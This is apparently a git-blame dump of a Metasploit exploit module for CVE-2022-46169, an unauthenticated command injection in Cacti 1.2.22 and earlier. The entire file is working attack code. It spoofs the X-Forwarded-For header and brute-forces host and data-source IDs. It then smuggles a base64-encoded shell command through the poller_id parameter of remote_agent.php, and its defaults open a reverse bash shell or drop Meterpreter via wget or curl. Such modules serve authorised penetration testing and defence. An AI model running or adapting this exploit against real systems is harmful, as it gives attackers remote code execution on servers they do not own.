2022-12-22 17:55:45 +02:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Exploit :: Remote
Rank = ExcellentRanking
include Msf :: Exploit :: Remote :: HttpClient
include Msf :: Exploit :: CmdStager
prepend Msf :: Exploit :: Remote :: AutoCheck
def initialize ( info = { } )
super (
update_info (
info ,
'Name' = > 'Cacti 1.2.22 unauthenticated command injection' ,
'Description' = > %q{
This module exploits an unauthenticated command injection
vulnerability in Cacti through 1.2.22 (CVE-2022-46169) in
order to achieve unauthenticated remote code execution as the
www-data user.
The module first attempts to obtain the Cacti version to see
if the target is affected. If LOCAL_DATA_ID and/or HOST_ID
are not set, the module will try to bruteforce the missing
value(s). If a valid combination is found, the module will
use these to attempt exploitation. If LOCAL_DATA_ID and/or
HOST_ID are both set, the module will immediately attempt
exploitation.
During exploitation, the module sends a GET request to
/remote_agent.php with the action parameter set to polldata
and the X-Forwarded-For header set to the provided value for
2023-01-13 14:53:29 +02:00
X_FORWARDED_FOR_IP (by default 127.0.0.1). In addition, the
2022-12-22 17:55:45 +02:00
poller_id parameter is set to the payload and the host_id
and local_data_id parameters are set to the bruteforced or
provided values. If X_FORWARDED_FOR_IP is set to an address
that is resolvable to a hostname in the poller table, and the
local_data_id and host_id values are vulnerable, the payload
set for poller_id will be executed by the target.
This module has been successfully tested against Cacti
version 1.2.22 running on Ubuntu 21.10 (vulhub docker image)
} ,
'License' = > MSF_LICENSE ,
'Author' = > [
2022-12-23 11:11:31 +02:00
'Stefan Schiller' , # discovery (independent of Steven Seeley)
'Steven Seeley' , # (mr_me) @steventseeley - discovery (independent of Stefan Schiller)
2022-12-22 17:55:45 +02:00
'Owen Gong' , # @phithon_xg - vulhub PoC
'Erik Wynter' # @wyntererik - Metasploit
] ,
'References' = > [
[ 'CVE' , '2022-46169' ] ,
[ 'URL' , 'https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf' ] , # disclosure and technical details
2023-01-13 14:53:29 +02:00
[ 'URL' , 'https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169' ] , # vulhub vulnerable docker image and PoC
[ 'URL' , 'https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution' ] # analysis by Stefan Schiller
2022-12-22 17:55:45 +02:00
] ,
'DefaultOptions' = > {
'RPORT' = > 8080
} ,
'Platform' = > %w[ unix linux ] ,
'Arch' = > [ ARCH_CMD , ARCH_X86 , ARCH_X64 ] ,
'Targets' = > [
[
'Automatic (Unix In-Memory)' ,
{
'Platform' = > 'unix' ,
'Arch' = > ARCH_CMD ,
'DefaultOptions' = > { 'PAYLOAD' = > 'cmd/unix/reverse_bash' } ,
'Type' = > :unix_memory
}
] ,
[
'Automatic (Linux Dropper)' ,
{
'Platform' = > 'linux' ,
'Arch' = > [ ARCH_X86 , ARCH_X64 ] ,
2023-01-23 11:53:19 -06:00
'CmdStagerFlavor' = > [ 'echo' , 'printf' , 'wget' , 'curl' ] ,
2022-12-22 17:55:45 +02:00
'DefaultOptions' = > { 'PAYLOAD' = > 'linux/x86/meterpreter/reverse_tcp' } ,
'Type' = > :linux_dropper
}
]
] ,
'Privileged' = > false ,
'DisclosureDate' = > '2022-12-05' ,
'DefaultTarget' = > 1 ,
'Notes' = > {
'Stability' = > [ CRASH_SAFE ] ,
'SideEffects' = > [ ARTIFACTS_ON_DISK , IOC_IN_LOGS ] ,
'Reliability' = > [ REPEATABLE_SESSION ]
}
)
)
register_options ( [
OptString . new ( 'TARGETURI' , [ true , 'The base path to Cacti' , '/' ] ) ,
2022-12-23 11:11:31 +02:00
OptString . new ( 'X_FORWARDED_FOR_IP' , [ true , 'The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table.' , '127.0.0.1' ] ) ,
2022-12-22 17:55:45 +02:00
OptInt . new ( 'HOST_ID' , [ false , 'The host_id value to use. By default, the module will try to bruteforce this.' ] ) ,
OptInt . new ( 'LOCAL_DATA_ID' , [ false , 'The local_data_id value to use. By default, the module will try to bruteforce this.' ] )
] )
register_advanced_options ( [
OptInt . new ( 'MIN_HOST_ID' , [ true , 'Lower value for the range of possible host_id values to check for' , 1 ] ) ,
OptInt . new ( 'MAX_HOST_ID' , [ true , 'Upper value for the range of possible host_id values to check for' , 5 ] ) ,
OptInt . new ( 'MIN_LOCAL_DATA_ID' , [ true , 'Lower value for the range of possible local_data_id values to check for' , 1 ] ) ,
OptInt . new ( 'MAX_LOCAL_DATA_ID' , [ true , 'Upper value for the range of possible local_data_id values to check for' , 100 ] )
] )
end
def check
# sanity check to see if the target is likely Cacti
res = send_request_cgi ( {
'method' = > 'GET' ,
'uri' = > normalize_uri ( target_uri . path )
} )
unless res
return CheckCode :: Unknown ( 'Connection failed.' )
end
unless res . code == 200 && res . body . include? ( '<title>Login to Cacti' )
return CheckCode :: Safe ( 'Target is not a Cacti application.' )
end
# get the version
version = res . body . scan ( / Version (.*?) \ | \ (c \ ) / ) & . flatten & . first
if version . blank?
return CheckCode :: Detected ( 'Could not determine the Cacti version: the HTTP response body did not match the expected format.' )
end
begin
if Rex :: Version . new ( version ) < = Rex :: Version . new ( '1.2.22' )
return CheckCode :: Appears ( " The target is Cacti version #{ version } " )
else
return CheckCode :: Safe ( " The target is Cacti version #{ version } " )
end
rescue StandardError = > e
return CheckCode :: Unknown ( " Failed to obtain a valid Cacti version: #{ e } " )
end
end
def exploitable_rrd_names
[
'apache_total_kbytes' ,
'apache_total_hits' ,
'apache_total_hits' ,
'apache_total_kbytes' ,
'apache_cpuload' ,
'boost_avg_size' ,
'boost_peak_memory' ,
'boost_records' ,
'boost_table' ,
'ExportDuration' ,
'ExportGraphs' ,
'syslogRuntime' ,
'tholdRuntime' ,
'polling_time' ,
'uptime' ,
]
end
def brute_force_ids
# perform a sanity check first
if @host_id
host_ids = [ @host_id ]
else
2023-01-13 14:53:29 +02:00
if datastore [ 'MAX_HOST_ID' ] < datastore [ 'MIN_HOST_ID' ]
2022-12-22 17:55:45 +02:00
fail_with ( Failure :: BadConfig , 'The value for MAX_HOST_ID is lower than MIN_HOST_ID. This is impossible' )
end
2023-01-13 14:53:29 +02:00
host_ids = ( datastore [ 'MIN_HOST_ID' ] .. datastore [ 'MAX_HOST_ID' ] ) . to_a
2022-12-22 17:55:45 +02:00
end
if @local_data_id
local_data_ids = [ @local_data_ids ]
else
2023-01-13 14:53:29 +02:00
if datastore [ 'MAX_LOCAL_DATA_ID' ] < datastore [ 'MIN_LOCAL_DATA_ID' ]
2022-12-22 17:55:45 +02:00
fail_with ( Failure :: BadConfig , 'The value for MAX_LOCAL_DATA_ID is lower than MIN_LOCAL_DATA_ID. This is impossible' )
end
2023-01-13 14:53:29 +02:00
local_data_ids = ( datastore [ 'MIN_LOCAL_DATA_ID' ] .. datastore [ 'MAX_LOCAL_DATA_ID' ] ) . to_a
2022-12-22 17:55:45 +02:00
end
# lets make sure the module never performs more than 1,000 possible requests to try and bruteforce host_id and local_data_id
max_attempts = host_ids . length * local_data_ids . length
if max_attempts > 1000
fail_with ( Failure :: BadConfig , 'The number of possible HOST_ID and LOCAL_DATA_ID combinations exceeds 1000. Please limit this number by adjusting the MIN and MAX options for both parameters.' )
end
potential_targets = [ ]
request_ct = 0
print_status ( " Trying to bruteforce an exploitable host_id and local_data_id by trying up to #{ max_attempts } combinations " )
host_ids . each do | h_id |
print_status ( " Enumerating local_data_id values for host_id #{ h_id } " )
local_data_ids . each do | ld_id |
request_ct += 1
print_status ( " Performing request #{ request_ct } ... " ) if request_ct % 25 == 0
res = send_request_cgi ( remote_agent_request ( ld_id , h_id , rand ( 1 .. 1000 ) ) )
unless res
print_error ( 'No response received. Aborting bruteforce' )
return nil
end
unless res . code == 200
2023-01-13 14:53:29 +02:00
print_error ( " Received unexpected response code #{ res . code } . This shouldn't happen. Aborting bruteforce " )
2022-12-22 17:55:45 +02:00
return nil
end
begin
parsed_response = JSON . parse ( res . body )
rescue JSON :: ParserError
print_error ( " The response body is not in valid JSON format. This shouldn't happen. Aborting bruteforce " )
return nil
end
unless parsed_response . is_a? ( Array )
print_error ( " The response body is not in the expected format. This shouldn't happen. Aborting bruteforce " )
return nil
end
# the array can be empty, which is not an error but just means the local_data_id is not exploitable
next if parsed_response . empty?
first_item = parsed_response . first
unless first_item . is_a? ( Hash ) && [ 'value' , 'rrd_name' , 'local_data_id' ] . all? { | key | first_item . keys . include? ( key ) }
print_error ( " The response body is not in the expected format. This shouldn't happen. Aborting bruteforce " )
return nil
end
# some data source types that can be exploited have a valid rrd_name. these are included in the exploitable_rrd_names array
# if we encounter one of these, we should assume the local_data_id is exploitable and try to exploit it
# in addition, some data source types have an empty rrd_name but are still exploitable
# however, if the rrd_name is blank, the only way to verify if a local_data_id value corresponds to an exploitable data source, is to actually try and exploit it
# instead of trying to exploit all potential targets of the latter category, let's just save these and print them at the end
# then the user can try to exploit them manually by setting the HOST_ID and LOCAL_DATA_ID options
rrd_name = first_item [ 'rrd_name' ]
if rrd_name . empty?
potential_targets << [ h_id , ld_id ]
elsif exploitable_rrd_names . include? ( rrd_name )
print_good ( " Found exploitable local_data_id #{ ld_id } for host_id #{ h_id } " )
return [ h_id , ld_id ]
else
2023-01-13 14:53:29 +02:00
next # if we have a valid rrd_name but it's not in the exploitable_rrd_names array, we should move on
2022-12-22 17:55:45 +02:00
end
end
end
return nil if potential_targets . empty?
# inform the user about potential targets
print_warning ( " Identified #{ potential_targets . length } host_id - local_data_id combination(s) that may be exploitable, but could not be positively identified as such: " )
potential_targets . each do | h_id , ld_id |
print_line ( " \t host_id: #{ h_id } - local_data_id: #{ ld_id } " )
end
print_status ( 'You can try to exploit these by manually configuring the HOST_ID and LOCAL_DATA_ID options' )
nil
end
def execute_command ( cmd , _opts = { } )
# use base64 encoding to get around special char limitations
cmd = " `echo #{ Base64 . strict_encode64 ( cmd ) } | base64 -d | /bin/bash` "
send_request_cgi ( remote_agent_request ( @local_data_id , @host_id , cmd ) , 0 )
end
def exploit
2023-01-13 14:53:29 +02:00
@host_id = datastore [ 'HOST_ID' ] if datastore [ 'HOST_ID' ] . present?
@local_data_id = datastore [ 'LOCAL_DATA_ID' ] if datastore [ 'LOCAL_DATA_ID' ] . present?
2022-12-22 17:55:45 +02:00
unless @host_id && @local_data_id
brute_force_result = brute_force_ids
unless brute_force_result
fail_with ( Failure :: NoTarget , 'Failed to identify an exploitable host_id - local_data_id combination.' )
end
@host_id , @local_data_id = brute_force_result
end
if target . arch . first == ARCH_CMD
print_status ( 'Executing the payload. This may take a few seconds...' )
execute_command ( payload . encoded )
else
execute_cmdstager ( background : true )
end
end
def remote_agent_request ( ld_id , h_id , poller_id )
{
'method' = > 'GET' ,
'uri' = > normalize_uri ( target_uri . path , 'remote_agent.php' ) ,
'headers' = > {
2023-01-13 14:53:29 +02:00
'X-Forwarded-For' = > datastore [ 'X_FORWARDED_FOR_IP' ]
2022-12-22 17:55:45 +02:00
} ,
'vars_get' = > {
'action' = > 'polldata' ,
'local_data_ids[0]' = > ld_id ,
'host_id' = > h_id ,
'poller_id' = > poller_id # when bruteforcing, this is a random number, but during exploitation this is the payload
}
}
end
end